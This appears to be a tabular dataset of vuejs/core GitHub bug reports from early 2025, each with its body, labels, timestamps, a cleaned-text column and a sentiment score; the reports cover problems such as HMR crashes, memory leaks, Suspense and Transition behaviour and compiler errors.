_No response_","scope: hmr,has workaround,:hammer: p3-minor-bug",2025-02-06 15:33:03+00:00,2025-05-02 09:18:02+00:00,1,"scope: hmr,has workaround,:hammer: p3-minor-bug",84.7396,teleport updating component inside teleport causes hmr to crash vue version link to in app vue update the slot content to anything else also happens if you change the modal vue as an example change the class modal dialogs to modal potatos in the browser s console it shows typeerror cannot set properties of null setting vnode it s related to reactivity inside the component modal vue in the computed modalclasses remove the reference to the ref isvisible and the error will not happen or if the value of isvisible is set as true line not sure if the title is accurate what is expected i expect the modal component s hot reload to work normally what is actually happening hot reload stops working after the error need to refresh the page system info any additional comments no response,bug,-0.8612
vuejs/core,2828327326,Memory leaks in vue-router,"### Vue version

3.5

### Link to minimal reproduction

https://github.com/Proxx07/vue-router-test

### Steps to reproduce

Just navigate between routes and get heap snapshots.

heap snapshot at first visit https://prnt.sc/KrCF8rvF3fJY
heap snapshot after navigating between ""main"" and ""about"" pages 50 times https://prnt.sc/VevR3ZvU7QsG
heap after refresh https://prnt.sc/oAaj6JIIO1R6

reset heap and refresh browser https://prnt.sc/hMyKwY5pMDXk
heap after navigating between ""main"" and ""big-data"" pages 10 times https://prnt.sc/YFGIy_YcrD9n
heap after navigating between ""main"" and ""big-data"" pages 50 times https://prnt.sc/QESC4KfkxKMZ
similar behavior in prod https://prnt.sc/Wr3AmX7DbrVg

### What is expected?

Heap shouldn't increase constantly every time during navigation

### What is actually happening?

Heap rewriting even you've visited route already untill page reloading

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-02-03 19:16:44+00:00,2025-02-04 00:13:19+00:00,1,nan,0.206,memory leaks in vue router vue version link to just navigate between routes and get heap snapshots heap snapshot at first visit heap snapshot after navigating between main and about pages times heap after refresh reset heap and refresh browser heap after navigating between main and big data pages times heap after navigating between main and big data pages times similar behavior in prod what is expected heap shouldn t increase constantly every time during navigation what is actually happening heap rewriting even you ve visited route already untill page reloading system info any additional comments no response,others,0.0258
vuejs/core,2827986908,SFC components without or with empty script tag don't have a name,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Us1OAjEQfpWxZ3aJQS8ESNRwkIMawVsT0+wOS6HbNv1ZSAjv7rQryMFwaabfT+eb2T2yJ2vLLiIbs8ldUcCXrkzbog4QNgi+ctJSKRoQugZlzA5ETy2WYGKwMZSwoiu5rNHJt5dKJYUGhxXKDrNcixaBp26cQVHMuE7t6PxtoYRuppwFT7THEC0pKqM9NUM6puRdG8MZOYa9hQT5HUICtlaJgHQDmNSyg1wBrMibsSGBM4DkvhKzATWkLmvZlFtvNC3hmOScpXGkQvdug6QUnI0hM4kTSpn9ImPBRRyc8WqD1e4ffOsPCePsw6FH1yFnFy4I12Do6fnyDQ9UX8jW1FGR+gb5id6omDL2sueoa4p9pctpX+njuCB1s/LzQ0Dtz0OloEl5ynrO6E94uTH6X9xR+ZB9XJ9oi98duvQmLXBUPpb3I3b6AcpFxJE=

### Steps to reproduce

1. Open the [Playground](https://play.vuejs.org/#eNp9Us1OAjEQfpWxZ3aJQS8ESNRwkIMawVsT0+wOS6HbNv1ZSAjv7rQryMFwaabfT+eb2T2yJ2vLLiIbs8ldUcCXrkzbog4QNgi+ctJSKRoQugZlzA5ETy2WYGKwMZSwoiu5rNHJt5dKJYUGhxXKDrNcixaBp26cQVHMuE7t6PxtoYRuppwFT7THEC0pKqM9NUM6puRdG8MZOYa9hQT5HUICtlaJgHQDmNSyg1wBrMibsSGBM4DkvhKzATWkLmvZlFtvNC3hmOScpXGkQvdug6QUnI0hM4kTSpn9ImPBRRyc8WqD1e4ffOsPCePsw6FH1yFnFy4I12Do6fnyDQ9UX8jW1FGR+gb5id6omDL2sueoa4p9pctpX+njuCB1s/LzQ0Dtz0OloEl5ynrO6E94uTH6X9xR+ZB9XJ9oi98duvQmLXBUPpb3I3b6AcpFxJE=)
2. Look at the JS output on the right (note that the generated component is functional and doesn't have a name)
3. Uncomment the `<script>` block
4. See the change in the way the component is defined including the name infered from its file

### What is expected?

Even if the component is defined as functional component, I'd expect it to have the name inferred from it's file name. 

### What is actually happening?

The component is anonymou... [TRUNCATED]",🔩 p2-edge-case,2025-02-03 16:28:51+00:00,2025-05-09 09:13:36+00:00,1,🔩 p2-edge-case,94.6977,sfc components without or with empty script tag don t have a name vue version link to open the playground look at the js output on the right note that the generated component is functional and doesn t have a name uncomment the block see the change in the way the component is defined including the name infered from its file what is expected even if the component is defined as functional component i d expect it to have the name inferred from it s file name what is actually happening the component is anonymou truncated,others,-0.32
vuejs/core,2827300623,Async component's `loadingComponent` never gets mounted when wrapped in `<Suspense>`,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#__PROD____SSR__eNp9Uk1v2zAM/SuELnYAz8aQ7RI4xbqhh+2wFe1u0zB4Np2oVSRDH24Gw/99lJRkadD1EMQkH58eHzmx62EoR49sxWrbGjE4sOj8cMWV2A3aOJigw14o/KQpVqhcAdsCDPbFoXBt/6j2VIUZeqN3kBFpxhVXrVbWwQVo/WJvPnEFIHXToVlBvoD1FSh8glsiFBZzg1bLEUN6mhfFESzU5kSxulSbOCFNdSQ95IDGcN6oQ3abZ50YswJ+ZAfa7OciIefwN1MQfseZhL1DRVKxo3nIkLxvpEUC1FWykkykwOFukI1DigDq3945reBDK0X7uObsGYkzHjmLQCB6Ik2lFUzT+XNz1FNXiSwR33s7oLLpGYovHB/fiP7Zc5xBlTqrs9a6OpPLCuYszdqLTflgtaIjic5x1hKvkGi+DU6QF5yRwvQuZ42U+ulLzIV54ppizxbbxxfyD3Yfcpzd0n7RjOTAqeYas0GXyjf3X3FP36fiTndeEvqV4l24GB80JthHrzqSfYaLaj/HU6eFf7c3e0dWHIeKCwmrj3jO6KiDpf8b/Z/cZfku9tHFkIu/RjSBkwxclu/Lt0s2/wXf2Sks

### Steps to reproduce

Click on the button in the reproduction to mount the async component

### What is expected?

The `loadingComponent` of an async component never mounts when it is wrapped in `<Suspense>`.

Here is an async component, which should mount the loading component after the default loading delay:
```ts
const AsyncComponent = defineAsyncComponent({
  loader: () => new Promise((resolve) => {}),
  loadingComponent: defineComponent({
    setup: () => {
      return () => h('div', ['loading']);
    },
  }),
})
```

### What is actually happening?

The loading component doesn't get mounted.

### System Info

```shell

```

### Any additional comments?

originally reported in https://github.com/nuxt/nuxt/issues/30813
(linking)",,2025-02-03 11:55:50+00:00,2025-02-03 12:54:31+00:00,1,nan,0.0408,async component s never gets mounted when wrapped in vue version link to click on the button in the reproduction to mount the async component what is expected the of an async component never mounts when it is wrapped in here is an async component which should mount the loading component after the default loading delay what is actually happening the loading component doesn t get mounted system info any additional comments originally reported in linking,others,-0.3182
vuejs/core,2826295578,why not Reorder getTargetType check after proxyMap lookup in createReactiveObject,"### Vue version

3.4.30

### Link to minimal reproduction

https://codesandbox.io/p/devbox/vigilant-lamarr-45l4f9

### Steps to reproduce

1. Create a reactive object a using reactive({ a: 1 }).
2. Create another reactive object b using reactive({ b: 2 }).
3. Assign markRaw(toRaw(a)) to b.a.
4. Check if b.a === a using strict equality (===).

```
import { reactive, markRaw, toRaw, isReactive } from 'vue';

const a = reactive({ a: 1 });
const b = reactive({ b: 2 });
b.a = markRaw(toRaw(a));

console.log(b.a === a); 

```

### What is expected?

Since markRaw is used to mark toRaw(a) as a raw (non-reactive) object, b.a should return the original raw object a.
Therefore, b.a === a should return false, as b.a should not reference  the same reactive proxy a.

### What is actually happening?

but now b.a === a returns true 

### System Info

```shell
System:
    OS: macOS 15.1.1
    CPU: (8) arm64 Apple M2
    Memory: 294.02 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.12.0 - /opt/homebrew/bin/node
    npm: 10.9.0 - /opt/homebrew/bin/npm
  Browsers:
    Chrome: 132.0.6834.160
    Safari: 18.1.1
```

### Any additional comments?

Suggestion: Reorder getTargetType check before proxyMap lookup in createReactiveObject.

While reading the Vue 3 source code, I noticed that in the createReactiveObject function, the proxyMap lookup is performed before the getTargetType check. I believe reordering these steps could improve both the logical clarity and performance in cert... [TRUNCATED]","scope: reactivity,:hammer: p3-minor-bug",2025-02-03 03:24:01+00:00,2025-02-19 06:25:31+00:00,1,"scope: reactivity,:hammer: p3-minor-bug",16.126,why not reorder gettargettype check after proxymap lookup in createreactiveobject vue version link to create a reactive object a using reactive a create another reactive object b using reactive b assign markraw toraw a to b a check if b a a using strict equality what is expected since markraw is used to mark toraw a as a raw non reactive object b a should return the original raw object a therefore b a a should return false as b a should not reference the same reactive proxy a what is actually happening but now b a a returns true system info any additional comments suggestion reorder gettargettype check before proxymap lookup in createreactiveobject while reading the vue source code i noticed that in the createreactiveobject function the proxymap lookup is performed before the gettargettype check i believe reordering these steps could improve both the logical clarity and performance in cert truncated,bug,0.9306
vuejs/core,2825913568,Readonly Ref cannot be triggered by `triggerRef`,"### Vue version

v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kstO60AMhl/Fmg2tiFKhc1ZVqXQOAgkkLgKWs4kSJw0kdjSXUhRlzYPxYngmJLBA7Ma/f4+/8bhX/7ou3XtUa7Wxuak7Bxad77aa6rZj46AHpmv25LBIwJm6qtDcY5mAwaxgal4TsLusafhFVBigNNzCkVx5pElT6Sl3NRN4ixfMiyX0mgByJuugZIbTb9WLHmgNJzAsQynAXJwVxVQpKnO6zxqPKR0fB2kY3Ua4DQmvGNYz3UKiZRJuCL5oHZtH32dCKCa+YJgfvJCup9uxcWQIh68ZxLthtYI8I2I3Zebeciilp1RtVuNwZawSOGy7JnMoEcBmd7LtIwwMw2YlUbDPlvc3TSpRzgp1WVfpk2WSz4pIWuXcdnWD5rYLc7JaracpaRWnehU1Zzwmk57vMH/+QX+yh6BpdWfQotmjVnPOZaZCN6bPH27wIOc52XLhG3H/krxHy40PjKPtv6dCsL/5Iu1lXLmaqkd7fnBIdnpUAI1fHf1ayXqd/fL0L9w/6d/PFRnU8AEddfwK

### Steps to reproduce

1. Create a `shallowRef` and create a variable to wrap the shallow ref with `readonly`
2. Update the original `shallowRef` nested value
3. Call `triggerRef` for the readonly value

```ts
function useFoo() {
  const foo = shallowRef({ n: 1 })

  function add() {
    foo.value.n++
  }

  return { foo: readonly(foo), add }
}

const { foo, add } = useFoo()

onMounted(() => {
  add()
  triggerRef(foo) // cannot trigger the readonly ref
})
```

### What is expected?

The readonly ref should be triggered by `triggerRef`.

### What is actually happening?

It cannot be trigger and output the following warning message.

```
[Vue warn] Set operation on key ""version"" failed: target is readonly. 
[Vue warn] Set operation on key ""flags"" failed: target is readonly. 
[Vue warn] Set operation on key ""next"" failed: target is readonly. 
[Vue warn] Set operation on ... [TRUNCATED]","scope: reactivity,:hammer: p3-minor-bug",2025-02-02 17:24:10+00:00,2025-06-05 02:19:17+00:00,0,"scope: reactivity,:hammer: p3-minor-bug",122.3716,readonly ref cannot be triggered by vue version v link to create a and create a variable to wrap the shallow ref with update the original nested value call for the readonly value what is expected the readonly ref should be triggered by what is actually happening it cannot be trigger and output the following warning message vue warn set operation on key version failed target is readonly vue warn set operation on key flags failed target is readonly vue warn set operation on key next failed target is readonly vue warn set operation on truncated,bug,-0.6808
vuejs/core,2821856464,"Can't have a ""</script>"" text in the script tags","### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kU9PwzAMxb9K5PPUCcFpKpUATQIOgIBjDqsy03Xkn2JnVKr63Um6rfSAdrPfe05+lnu48744RIQVlKRC61kQcvSVtMpZYqEisTOPbLS4FZtTpiqXp2Ij7VRLmxpG43XNmDohyt1V1ffzN4ahXCYxT82SsACm9N9X2xR7cjbR9HlegnLGtxrDq+c28UhYidHJXq21+3keNQ4RF2dd7VB9/6PvqcuahLeAhOGAEiaP69AgH+31xwt2qZ5M47ZRp/QF8x3J6ZgZj7H7aLcJe5YbaZ+Md4Fb23zSumO0dF4qg+bkMOYlpJM8XFj9D/e6uBnnpB1g+AWb45pO

### Steps to reproduce

Just launch this small repro

### What is expected?

It should display `<script></script>`

### What is actually happening?

`Invalid end tag.` error

### System Info

```shell

```

### Any additional comments?

I guess I'm the only one who encountered this error in a real usecase 😅...",,2025-01-30 21:28:36+00:00,2025-01-31 01:07:47+00:00,1,nan,0.1522,can t have a text in the script tags vue version latest link to just launch this small repro what is expected it should display what is actually happening error system info any additional comments i guess i m the only one who encountered this error in a real usecase,others,-0.7184
vuejs/core,2820385608,@vue/compiler-sfc can't compile  this code correct,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UU1PAyEQ/SuEU5s022j1UtcmanrQgzbqkcRs6OxHZYHAsK7Z7H932LUfh6ZAyPDeY3gzdPzB2qQJwJc89dJVFpkHDHYltDTaI+tYk6kArGf3bAt5pWHjjPWT6Z3Q44w6oyBRppgM2qnQedASK6NZDP5R1gmN7pf2XmYoyxgM61yCdD66IR90QKityhDolJbXqzyd0x5FJwSfcfSUKq+KZOeNporoBcYEl6a2lQL3ZqMlL/gyWmE0BM+UMj8vA4YuwGyPyxLk9xl859uICb5x4ME1IPiBw8wVgCO9/niFluIDWZttUKS+QL4DtSFEj6PsMegt2T7RDW6fa2scVrr49OsWQft9UdFoVPaDXnD61qcLpR/tLpKb4R79BnXxqwEXc1IDF8ltcrXg/R/LWbpE

### Steps to reproduce

1. define a prop with any name(Ex: `value`)
2. input any code, to use the prop(Ex: `value`),`console.log(value)`
3. before the prop use, input a function.It's param use prop's name(Ex: `value`),and function body insert an empty `try-catch` like demo.
4. will show error `value is not defined`.

### What is expected?

Step 2 's code will compile into `console.log(__props.value)`

### What is actually happening?

In @vue/compiler-sfc's code https://github.com/vuejs/core/blob/7ecd2a22c799d85b0c9857e48d97de5755197e87/packages/compiler-sfc/src/script/definePropsDestructure.ts#L255

and 
https://github.com/vuejs/core/blob/7ecd2a22c799d85b0c9857e48d97de5755197e87/packages/compiler-sfc/src/script/definePropsDestructure.ts#L131

when walk into function. And `currentScope.value` is not revert to `true`.cause this error!

In my opinion, this is a rather serious problem.
For example: 
After the first use of props(`value`), and before the second use of it, if there is a function who... [TRUNCATED]","scope: sfc,:hammer: p3-minor-bug",2025-01-30 10:00:56+00:00,2025-05-13 14:17:25+00:00,0,"scope: sfc,:hammer: p3-minor-bug",103.1781,vue compiler sfc can t compile this code correct vue version link to define a prop with any name ex input any code to use the prop ex before the prop use input a function it s param use prop s name ex and function body insert an empty like demo will show error what is expected step s code will compile into what is actually happening in vue compiler sfc s code and when walk into function and is not revert to cause this error in my opinion this is a rather serious problem for example after the first use of props and before the second use of it if there is a function who truncated,bug,-0.8074
vuejs/core,2817095672,defineModel assigned a value cannot be read,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqVUl1L7DAQ/Stz89IVvC2y974s9cJVV1DwA/UxILWdrtE0LUlaF0r/u5O0m9X1A3xL5pw5OSczPfvfNHHXIluw1ORaNBYM2rb5x5Womlpb6EFjCQOUuq4gImoUoOO6aqZ6nLiLUyI4r5UhHZtpe5JZhEMnMdvjKk3GN0idLharRhJON4DUi3W/q7pAuQi9h5yFM2eQEDdN3jSyfWYNvVeKVfxkakU5eifHWU56QqK+aqwgP5wtwCMOy6SsX859zeoW9zf1/BHz50/qT2btapxdazSoO7ISMHK3QjvCy9tLXNM5gJSmlcT+BrxBU8vWeRxpR60qyPYbnnd75r9cqNWdWa4tKrMJ5Yw65uD5nNEI3Fd+FX1rdx7/8X1cDfSLm/H9bBE+TrrAUii8cFOcRQGIaPgjF1XxGXMqOx5XEifN7ea4EnG2BVHC7FfQj7tMtrg3xtypUk90nik4IL+weX8LneLDBPm+AOyoTL0BfqdDX/j9chei8weAW59LGOj7KeMwpA96QpcUccRc2IFUqTkZu3f3/r5D7baAJjaP/8YHcza8AtXQR/o=

### Steps to reproduce

This baffled me for the last few hours. If a defineModel is assigned a value, that value cannot subsequently be read. This behavior differs from refs, which can be read as soon as they're written, and my basic understanding is that `defineModel` defines a type of ref? It also seems to only happen when an undefined value is assigned to the model, which then I guess gets updated and somehow interrupts value retrieval for the model? 🤷‍♂ 

### What is expected?

Look at this component:
```ts
<script setup>
import { ref } from 'vue'
const startDate = defineModel('startDate')
const endDate = defineModel('endDate')

let start = ref()
let end = ref()
if (!startDate.value) {
  startDate.value = 'Jan 1'
  endDate.value = 'Feb 1'
  start.value = startDate.value
  end.value = endDate.value
}
</script>

<template>
  <div>
  ... [TRUNCATED]",,2025-01-29 02:30:02+00:00,2025-02-01 02:39:17+00:00,4,nan,3.0064,definemodel assigned a value cannot be read vue version link to this baffled me for the last few hours if a definemodel is assigned a value that value cannot subsequently be read this behavior differs from refs which can be read as soon as they re written and my basic understanding is that defines a type of ref it also seems to only happen when an undefined value is assigned to the model which then i guess gets updated and somehow interrupts value retrieval for the model what is expected look at this component ts import ref from vue const startdate definemodel startdate const enddate definemodel enddate let start ref let end ref if startdate value startdate value jan enddate value feb start value startdate value end value enddate value truncated,others,0.9702
vuejs/core,2814458327,KeepAlive with RouterView nested or not and Keyed components,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqlWG1T20YQ/isXk8Y2tSVC0kxHGCaEMKWhFCbQ9kOcaWRrbR9Id+rdydjj8X/v3oukkzGEmTiDrdvb3dvbffZFWbWymLLgVraiFs1yLhRZkbGAWMFxnpM1mQiekfa8gPaQVQyCFwpEtRuEllCzaNlyL87zwMoPWaW5g3/dISMkKCR0rLhdZ7xgqtPeQbF2t9VrOXG0b6Agy1OUP9KMg9nrozNIU64PezEIcWnIufnBB6kEZ9Ojk0IIYMraTPJYzaJB6PbIakVemo1gUqTpFW6S9dqoCa2eAYvnpcLPxso/KLsjih8OW+GwdfQbx2dyxjMYhPX+oxLxCCmV2LFePUsuB56nUAlemeUDyUFYWjvQUW1qOwfIj1M6h9DxOpZB6LkVl3IsaK6IBFVoF7iAbuiogrtBd4FGBxstRxg/G9tAbUHYBWRcLM+oVPjTc0Sr0Udev0JXZY52+N8U7is7SoIzoIShdnCDr6I0Ga1DG5w1aZNVSM42WEtSBXRYGOYxZ9JBT5DDxg07Kx2Gmb18tM0jnW5PsxhpGZEvNpwri2HSDtvoMo5GMYR3VLtkbaR8RoO6JnftmYfsFmxN/tobSJ7RNMGcqkxCYScb5cYVm7KVx0xuEfLVnfoVv9eY9ggTP4A6130YkjRmU0wDJTEDPHQZvG4UhX1bFLAe7DfBjWc0gv9jh1Sqth5kodLP4hwrK2d4lAn20G3gCRExFE17j8aEGP2xonOqlnpv2JoplcsoDFHlUlt7KwMupiE+BQLrI80gAJn1R4LfS8yuW1Tp4jhs1SnT1FWw/G4aYGC0Gsfx/m3wJtgLE0ScR31ctzE2gbniPJX9OKePHfGA8f274F3wOkzpKETtIWUJLIxurRpxsUa/KYkJM6HTDa9pLNEUxGWuKCZUw3sxBvv+k6EpUUBl6HgG47st9Fu5sCZfCcDbzbGoVnsqFlPA8qy3T6//hAU+V5sZTwpdgp/Y/AySp4W20bJ9KFiCZnt8xtrfDQgom97I04UCJstLaUONNwy/CeTJE1evzX0TvPW8KNUyBRmMpS652BF6RJd6KzfiIgERkf18QdBYmpCdvb29A72VoTrK+iOuFM8i8novXxh6HicJGltR8JQhQ7XkiMTkZ/wzip10ChPMeJ9ztu+fXKuvDRiPx54BEdnDf/tOA16nWYgfzAGYjwmdE3NpTF9Ess6ZiExSWByY7whL6P0BuS2kopNlHyGGTkcrZR6PoT8CdQ/ADkzW22pmVXpLQyroBsVQU0rm/QkXeLStfQRdXbZrEt3BstoJdJFsHNPQZFOvn+quH5m23xRbrdyaxRms1wM3dBmBbZZhqm1eIWzcYYBp79+y4ccSKHWcBCQH5J4mutD/uvdT02G1/Xc4C/TjetB4eFb5/LzJA4cFzAFUnZQzwZaSiVB5a... [TRUNCATED]",,2025-01-28 02:09:29+00:00,2025-02-01 02:47:31+00:00,0,nan,4.0264,keepalive with routerview nested or not and keyed components vue version link to truncated,others,0.0
vuejs/core,2810372310,Detached dom nodes increases with Transition + Suspense,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/huang-julien/vue-transition-suspense-repro 
https://stackblitz.com/github/huang-julien/vue-transition-suspense-repro?file=README.md

### Steps to reproduce

- open chrome devtools -> performance monitor 
- check DOM nodes (+ JS heap size)
- click on `swap` button a lot of times
- see that DOM Nodes increases and never get flushed. You can also profile the detached elements in the memory tab of the chrome devtools

![Image](https://github.com/user-attachments/assets/4630d632-643c-4a3e-ace6-13db93cb6b69)

### What is expected?

DOM Nodes should be flushed

### What is actually happening?

It seems like DOM  Nodes are kept in a pending branch of Suspense.

We also have this issue with nuxt's pages when enabling transitions. Curiously, JS heap mem seems to flush correctly.

### System Info

```shell

```

### Any additional comments?

original issue: https://github.com/nuxt/nuxt/issues/30718",,2025-01-24 21:04:26+00:00,2025-01-26 09:16:12+00:00,1,nan,1.5082,detached dom nodes increases with transition suspense vue version link to open chrome devtools performance monitor check dom nodes js heap size click on button a lot of times see that dom nodes increases and never get flushed you can also profile the detached elements in the memory tab of the chrome devtools image what is expected dom nodes should be flushed what is actually happening it seems like dom nodes are kept in a pending branch of suspense we also have this issue with nuxt s pages when enabling transitions curiously js heap mem seems to flush correctly system info any additional comments original issue,others,0.4215
vuejs/core,2808927892,deepmerge with arrayMerge option adds proxy to nested array,"### Vue version

^3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-4umr7oj9?file=src%2FApp.vue

### Steps to reproduce

Run the stackblitz and open the console.

### What is expected?

These weird proxied arrays should not be created?

### What is actually happening?

With the arrayMerge option, the nested arrays are merged with proxies. Now for example a localForage can't clone the object.

Without the option, both the reactive objects are merged and they have no nested arrays with proxy.

![Image](https://github.com/user-attachments/assets/111c7c0a-ea9c-432b-9107-f9f126ebfb3b)

### System Info

```shell

```

### Any additional comments?

Related issue on vuex-persist

https://github.com/championswimmer/vuex-persist/issues/271 (mine)

Other users reporting the same ""cannot clone error"" when migrating from Vue 2 to Vue 3.

https://github.com/championswimmer/vuex-persist/issues/232
https://github.com/championswimmer/vuex-persist/issues/235",,2025-01-24 09:11:45+00:00,2025-01-31 13:34:38+00:00,4,nan,7.1826,deepmerge with arraymerge option adds proxy to nested array vue version link to run the stackblitz and open the console what is expected these weird proxied arrays should not be created what is actually happening with the arraymerge option the nested arrays are merged with proxies now for example a localforage can t clone the object without the option both the reactive objects are merged and they have no nested arrays with proxy image system info any additional comments related issue on vuex persist mine other users reporting the same cannot clone error when migrating from vue to vue,others,-0.2869
vuejs/core,2807813306,Transition and TransitionGroup e2e tests seem intermittent,"### Vue version

main @ 29216853d4eb2bc72c284bcc5234afbca9c81854

### Link to minimal reproduction

https://github.com/vuejs/core

### Steps to reproduce

run `pnpm run test-e2e` on macos

### What is expected?

No test failures

### What is actually happening?

Intermittent failures like:
```
AssertionError: expected '<div class=""test"">a</div><div class=""…' to be '<div class=""test test-appear-active t…' // Object.is equality

Expected: ""<div class=""test test-appear-active test-appear-to"">a</div><div class=""test test-appear-active test-appear-to"">b</div><div class=""test test-appear-active test-appear-to"">c</div>""
Received: ""<div class=""test"">a</div><div class=""test"">b</div><div class=""test"">c</div>""

 ❯ packages/vue/__tests__/e2e/TransitionGroup.spec.ts:449:40
    447|       await nextFrame()
    448|       expect(afterAppearSpy).not.toBeCalled()
    449|       expect(await html('#container')).toBe(
       |                                        ^
    450|         `<div class=""test test-appear-active test-appear-to"">a</div>` +
    451|           `<div class=""test test-appear-active test-appear-to"">b</div>` +

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[1/1]⎯

 Test Files  1 failed | 11 passed (12)
      Tests  1 failed | 87 passed (88)
   Start at  15:08:21
   Du... [TRUNCATED]",,2025-01-23 20:11:41+00:00,2025-01-24 01:38:48+00:00,0,nan,0.2272,transition and transitiongroup e e tests seem intermittent vue version main d eb bc c bcc afbca c link to run on macos what is expected no test failures what is actually happening intermittent failures like assertionerror expected a div class to be div class test test appear active t object is equality expected a b c received a b c packages vue tests e e transitiongroup spec ts await nextframe expect afterappearspy not tobecalled expect await html container tobe test files failed passed tests failed passed start at du truncated,others,-0.8316
vuejs/core,2802997213,SyntaxError - SFC's CSS Interpreted as JS,"### Vue version

3.5.13

### Link to minimal reproduction

NA

### Steps to reproduce

I am developing a Vue app on a private cloud solution.

On `/`, I get a VS Code web IDE.
On `/proxy/5050/`, I have a reverse proxy forwarding the requests to the Vite dev server.

### What is expected?

I have a simple component `AppBanner` called from my Vue app:

```vue
<template>
  <header role=""banner"" class=""test"">
    hello
  </header>
</template>

<style scoped lang=""css"">
.test {
  background-color: red;
}
</style>
```

### What is actually happening?

The component's CSS seems to be interpreted as JS by the browser (Firefox):

![Image](https://github.com/user-attachments/assets/7b6117a3-0d12-4477-96f1-8b2b13f19acd)

![Image](https://github.com/user-attachments/assets/c0a43234-9958-4dbf-b04d-5e461ca27119)

The request sent by the browser (to the proxy, that redirects it to the Vite server):

```
GET /proxy/5050/src/components/AppBanner.vue?vue&type=style&index=0&scoped=f8019c3b&lang.css HTTP/2
Host: ...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Referer: https://DevServerExampleUrl.fr/proxy/5050/src/components/AppBanner.vue
Sec-Fetch-Dest: script
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Connection: keep-alive
Cookie: ...
TE: trailers
```

The response received by the browser (from the Vite server, transiting via the proxy... [TRUNCATED]",,2025-01-21 23:05:54+00:00,2025-01-22 01:11:12+00:00,1,nan,0.087,syntaxerror sfc s css interpreted as js vue version link to na i am developing a vue app on a private cloud solution on i get a vs code web ide on i have a reverse proxy forwarding the requests to the vite dev server what is expected i have a simple component called from my vue app what is actually happening the component s css seems to be interpreted as js by the browser firefox image image the request sent by the browser to the proxy that redirects it to the vite server the response received by the browser from the vite server transiting via the proxy truncated,bug,0.3182
vuejs/core,2801795514,Props do not respect optionality in components defined using `defineComponent` with a generic function signature,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqdU8Fu2zAM/RVCF6eA4WDIdsmcDFsRDNuhK1bfqmIwbCZRp1CCJHspAv/7KNtps3Yd1l5si6T53iOfDuKjtVnboJiL3FdO2QAeQ2NBl7RZSBG8FEtJameNC3CAGteK8NzwmZBCCtsUrrQJvrizyJ/x33NDAfcBOlg7s4OE2yfvJXEXjrt1WSFcOmN9XizhIAmgLfWHORSSulhVGfIBvtmgDJX6MxI6Va325c5qhMVjBpPYIC+AAZFqDz44RZvlxEaE+T3QGSxGMADHJB3BpI9tJ0mt2iSF6yEJkByhR8xkSNycxXeXxufYaMS4TlhActOnJXHZYw0Xhv5Lxp+kS7p7Fe0naEnP+YUK8ulgB14+HwJyozIgn3jaz+xm2tee5J/qjiX59KSbSNliPK212mS33hD7sKcmRcWjURrd0IxtOD+SlqLU2vz62seCa3DUx/9ssfr5l/it38eYFJcOPboWpbjPhdJtMAzp1dUF++gkuTN1o7n6H8nv6I1uIseh7FNDNdM+qevZfulvEFuz8KtoVX8UFYk+7EUKvi3RFc9Jf6A7y96OC+t4ij9adLEnD3CWvcvezET3GxBXR7w=

### Steps to reproduce

Open the reproduction and have a look at the type error on the `<OptionalGenericExample />` component in the template.

I defined an optional prop:
```ts
interface Props<T> {
  val?: T
}
```

and used it in a generic component:
```ts
const OptionalGenericExample = defineComponent(
  <T extends string>(props: Props<T>) => {
    return () => h('div', [
      'OptionalExample'
    ])
  },
  {
    props: ['val']
  }
)
```

When used in the template without providing the prop, the following error is shown:
```
Argument of type '{}' is not assignable to parameter of type '{ val: any; } & VNodeProps & AllowedComponentProps & ComponentCustomProps & Record<string, unknown>'.
  Property 'val' is missing in type '{}' but required in type '{ val: any; }'.
```

```html
<template>
  <OptionalGeneri... [TRUNCATED]",,2025-01-21 13:02:30+00:00,2025-01-21 14:31:57+00:00,0,nan,0.0621,props do not respect optionality in components defined using with a generic function signature vue version link to open the reproduction and have a look at the type error on the component in the template i defined an optional prop and used it in a generic component when used in the template without providing the prop the following error is shown html optionalgeneri truncated,others,-0.8203
